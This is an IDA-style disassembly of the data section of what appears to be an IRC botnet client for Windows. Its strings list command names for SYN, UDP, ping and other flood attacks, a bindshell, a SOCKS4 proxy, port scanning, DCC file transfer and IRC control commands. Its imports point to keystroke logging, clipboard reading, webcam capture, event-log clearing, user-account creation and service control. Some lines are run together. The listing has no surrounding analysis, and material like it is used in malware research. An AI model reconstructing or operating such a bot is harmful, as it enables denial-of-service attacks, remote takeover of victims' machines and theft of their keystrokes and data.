dword_42EED0	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1+14A7o
		dd 3026E02h, 32C3430h, 33A3431h, 34h
aScan_0		db 'Scan',0             ; DATA XREF: sub_401AA1+14A2o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401AA1+1489o
		align 4
dword_42EF08	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 2650253h
					; DATA XREF: sub_401AA1+147Eo
		dd 2750263h, 2650272h, 31300302h, 3431032Ch, 31033Ah
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401AA1+1479o
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401AA1+1460o
		align 4
dword_42EF44	dd 234032Dh, 6E6F6C63h,	3027365h, 2DhaClone		db 'Clone',0            ; DATA XREF: sub_401AA1+1450o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401AA1+1437o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401AA1+1422o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401AA1+140Do
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401AA1+13F8o
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401AA1+13E3o
		align 4
dword_42EF94	dd 234032Dh, 70746674h,	2D030264h, 0aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401AA1+13BAo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401AA1+1391o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401AA1+1368o
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401AA1+133Fo
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401AA1+1316o
unk_42EFDC	db  2Dh	; -		; DATA XREF: sub_401AA1+12FCo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42F010	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh					; sub_401AA1+135Do
dword_42F020	dd 64736957h, 61206D6Fh, 63617474h, 6Bh					; sub_401AA1+1358o
dword_42F030	dd 234032Dh, 6E757374h,	2696D61h, 2D03h					; sub_401AA1+1334o
dword_42F040	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h					; sub_401AA1+132Fo
dword_42F050	dd 234032Dh, 676E6970h,	2D0302h					; sub_401AA1+13AFo
dword_42F05C	dd 676E6950h, 6F6C6620h, 646Fh					; sub_401AA1+13AAo
dword_42F068	dd 234032Dh, 2706475h, 2D03h					; sub_401AA1+1386o
dword_42F074	dd 20504455h, 6F6F6C66h, 64h					; sub_401AA1+1381o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401AA1+11C0o
		align 4
dword_42F08C	dd 234032Dh, 6B6E6F77h,	2D0302h					; sub_401AA1+1282o
dword_42F098	dd 6B6E6F57h, 6F6C6620h, 646Fh					; sub_401AA1+127Do
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401AA1+1197o
		align 10h
dword_42F0B0	dd 234032Dh, 67726174h,	3023361h, 2Dh					; sub_401AA1+1264o
dword_42F0C0	dd 67726154h, 66203361h, 646F6F6Ch, 0					; sub_401AA1+125Fo
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401AA1+116Eo
		align 4
dword_42F0DC	dd 234032Dh, 73796B73h,	3026E79h, 2Dh					; sub_401AA1+12E2o
dword_42F0EC	dd 53796B53h, 66206E79h, 646F6F6Ch, 0					; sub_401AA1+12DDo
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401AA1+1145o
		align 4
dword_42F108	dd 234032Dh, 26E7973h, 2D03h					; sub_401AA1+1204o
dword_42F114	dd 206E7953h, 6F6F6C66h, 64h					; sub_401AA1+11FFo
aSynstop	db 'synstop',0          ; DATA XREF: sub_401AA1+111Co
dword_42F128	dd 234032Dh, 736F6464h,	2D0302h					; sub_401AA1+11E6o
dword_42F134	dd 536F4444h, 6F6C6620h, 646Fh					; sub_401AA1+11E1o
dword_42F140	dd 736F6464h, 6F74732Eh, 70hdword_42F14C	dd 234032Dh, 69646572h,	74636572h, 2D0302hdword_42F15C	dd 20504354h, 69646572h, 74636572h, 0aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401AA1+10CAo
		align 4
dword_42F17C	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 21F6C02h
					; DATA XREF: sub_401AA1+10BFo
		dd 3003676Fh, 31032C31h, 31033A35h, 0
dword_42F1A0	dd 20676F4Ch, 7473696Ch, 0aLogstop	db 'logstop',0          ; DATA XREF: sub_401AA1+10A1o
dword_42F1B4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 74740248h
					; DATA XREF: sub_401AA1+1096o
		dd 31036470h, 32D3A35h,	31h
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401AA1+1078o
		align 10h
dword_42F1E0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26C0252h
					; DATA XREF: sub_401AA1+106Do
		dd 21F6F1Fh, 2690267h, 264026Eh, 2C313003h, 3A343103h
		dd 3103h
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401AA1+104Fo
		align 4
dword_42F218	dd 234032Dh, 6B636F73h,	3023473h, 2DhaSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401AA1+1026o
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401AA1+1011o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401AA1+FFCo
		align 10h
dword_42F240	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0aServer_0	db 'Server',0           ; DATA XREF: sub_401AA1+FECo
					; sub_401AA1+103Fo ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401AA1+FD3o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401AA1+FBEo
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401AA1+FA9o
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401AA1+F94o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401AA1+F7Fo
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_401AA1+F6Ao
					; sub_401AA1+2D1Ao
aSecure		db 'secure',0           ; DATA XREF: sub_401AA1+F55o
					; sub_401AA1+2D09o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401AA1+F40o
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401AA1+F2Bo
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401AA1+F16o
		align 10h
aRulez		db 'rulez',0            ; DATA XREF: sub_401AA1+F01o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401AA1+EECo
aVersion	db 'version',0          ; DATA XREF: sub_401AA1+ED7o
aLo		db 'lo',0               ; DATA XREF: sub_401AA1+EC2o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401AA1+EADo
		align 10h
aDi3		db 'di3',0              ; DATA XREF: sub_401AA1+E83o
					; sub_401AA1+E98o
aRn		db 'rn',0               ; DATA XREF: sub_401AA1+E6Eo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401AA1+E56o
a63		db '63',0               ; DATA XREF: sub_401AA1+D25o
		align 4
asc_42F2E4:				; DATA XREF: sub_401AA1+CFDo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401AA1+CC3o
		align 10h
aServer_1	db '$server',0          ; DATA XREF: sub_401AA1+CB8o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401AA1+CA7o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401AA1+C8Bo
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_401AA1+C7Ao
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401AA1+C68o
aD		db '$%d',0              ; DATA XREF: sub_401AA1+BFAo
aD_0		db '$%d-',0             ; DATA XREF: sub_401AA1+B44o
		align 4
asc_42F324:				; DATA XREF: sub_401AA1+A66o
					; .XPack0:0043AC3Co ...
		unicode	0, <l>,0
aK:					; DATA XREF: sub_401AA1+A4Eo
					; sub_401AA1+3DA4o ...
		unicode	0, <k>,0
unk_42F32C	db  2Dh	; -		; DATA XREF: sub_401AA1+A2Bo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42F360	db  2Dh	; -		; DATA XREF: sub_401AA1+A1Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42F390	db  2Dh	; -		; DATA XREF: sub_401AA1+9F4o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_20	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42F3C8	db  2Dh	; -		; DATA XREF: sub_401AA1+99Bo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401AA1+907o
		align 10h
unk_42F3F0	db  2Dh	; -		; DATA XREF: sub_401AA1+8EAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
dword_42F434	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401AA1+8BAo
		dd 0A0Dh
dword_42F44C	dd 4E495001h, 47hdword_42F454	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401AA1+87Bo
		dd 0D017325h, 0Ah
dword_42F470	dd 52455601h, 4E4F4953h, 1dword_42F47C	dd 23h							; sub_40CC4F+1Bo
unk_42F480	db  2Dh	; -		; DATA XREF: sub_401AA1+73Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 10h
aS_2		db '%s',0               ; DATA XREF: sub_401AA1+6C5o
					; sub_401AA1+944o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401AA1+69Eo
		align 4
dword_42F4BC	dd 43434401h, 0	dword_42F4C4	dd 323333h						; sub_401AA1+A88o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401AA1+5E4o
					; sub_409743+Fo
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401AA1+5D8o
					; sub_409743+16o
dword_42F4D8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+567o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4A022031h, 6E696F02h
		dd 2206465h, 61680243h,	6C656E6Eh, 2034033Ah, 2E7325h
dword_42F518	dd 333533h	aQuit		db 'QUIT',0             ; DATA XREF: sub_401AA1+4F9o
					; sub_40F6A7+5B6o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401AA1+4E8o
					; sub_401AA1+5A4o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401AA1+4C3o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401AA1+3AFo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+352o
					; sub_401AA1+5C8o
		align 10h
dword_42F550	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+339o
					; sub_401AA1+587o ...
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 72657302h
		dd 25203403h, 31032073h, 6F026C02h, 65026767h, 6F206402h
		dd 74027502h, 2Eh
aKick		db 'KICK',0             ; DATA XREF: sub_401AA1+2D6o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401AA1+27Fo
					; sub_401AA1+79E3o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401AA1+257o
					; sub_417CCD:loc_417D42o
a@:					; DATA XREF: sub_401AA1+22Co
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401AA1+21Co
a005		db '005',0              ; DATA XREF: sub_401AA1+207o
a001		db '001',0              ; DATA XREF: sub_401AA1+1F2o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+1D6o
					; sub_401AA1+39Co ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401AA1+1B5o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401AA1+19Bo
					; sub_417CCD+4Eo
		align 4
asc_42F5E4:				; DATA XREF: sub_401AA1+18Co
					; sub_401AA1+7AECo
		unicode	0, <!>,0
asc_42F5E8:				; DATA XREF: sub_401AA1+A8o
					; sub_401AA1+DFAo ...
		unicode	0, < >,0
asc_42F5EC	db ' :',0               ; DATA XREF: sub_401AA1+86o
					; sub_401AA1:loc_402581o
		align 10h
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409743+58o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4097DE+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4097DE+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4097DE:loc_40A448o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4097DE+C15o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4097DE+C08o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4097DE+BFBo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4097DE+BEEo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4097DE+BE1o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4097DE+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4097DE:loc_40A3AAo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4097DE+B97o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4097DE+B8Fo
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4097DE:loc_40A360o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4097DE+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4097DE+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4097DE+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4097DE+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4097DE:loc_40A2ECo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4097DE+AD9o
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4097DE+AD1o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4097DE:loc_40A2A2o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4097DE+A8Fo
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4097DE+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4097DE:loc_40A258o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_4097DE+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4097DE+9ECo
					; sub_418C2F+54o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4097DE+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4097DE+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4097DE+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4097DE+9B8o
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4097DE+9ABo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4097DE+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4097DE+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4097DE+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4097DE+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4097DE+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4097DE:loc_40A13Co
					; sub_418C2F+47o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4097DE+921o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4097DE+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4097DE+90Co
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4097DE:loc_40A0DDo
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4097DE+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4097DE+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4097DE+853o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4097DE+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4097DE+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4097DE+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4097DE+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4097DE+812o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4097DE+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4097DE+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4097DE+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4097DE:loc_409FBDo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4097DE+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4097DE+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4097DE+68Co
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4097DE+67Fo
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4097DE+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4097DE+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4097DE+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4097DE+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4097DE+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4097DE+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4097DE+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4097DE+617o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_4097DE+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4097DE+5FDo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4097DE+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4097DE+5D6o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4097DE+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4097DE+5BCo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4097DE+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4097DE+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4097DE+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4097DE+588o
aSocket		db 'socket',0           ; DATA XREF: sub_4097DE+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4097DE+56Eo
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4097DE+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4097DE+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4097DE+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4097DE+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4097DE+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4097DE+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4097DE+514o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4097DE+4A1o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4097DE+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4097DE+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4097DE+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4097DE+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4097DE+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4097DE+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4097DE+446o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4097DE+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4097DE:loc_409C0Bo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4097DE:loc_409BE3o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4097DE+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4097DE+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4097DE+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4097DE+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4097DE+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4097DE+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4097DE+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4097DE:loc_409B35o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4097DE+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4097DE+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4097DE:loc_409AF0o
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_4097DE+2C6o
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_4097DE+2B9o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4097DE+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4097DE+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4097DE+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4097DE+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4097DE+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4097DE+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4097DE:loc_409A3Do
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4097DE+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4097DE+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4097DE+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4097DE:loc_4099D6o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4097DE+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4097DE+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4097DE+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4097DE+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4097DE+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4097DE+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4097DE+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4097DE+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4097DE:loc_409913o
					; sub_425448+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4097DE:loc_4098E6o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4097DE+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4097DE+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4097DE+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4097DE+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4097DE+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4097DE+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4097DE+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4097DE+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4097DE+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4097DE+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4097DE+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4097DE+Ao
		align 4
dword_42FEEC	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_40A49A+2F2o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1DllTestComple	db '1 DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+90o
					; .XPack0:004355C4o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A49A+28o
		align 4
a_:					; DATA XREF: sub_40EA40+13o
					; sub_41061F+24Co
		unicode	0, <.>,0
unk_430098	db  2Dh	; -		; DATA XREF: sub_40A7FD:loc_40A8CEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_4300C8	db  2Dh	; -		; DATA XREF: sub_40A7FD:loc_40A89Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_4300F8	db  2Dh	; -		; DATA XREF: sub_40A7FD:loc_40A852o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
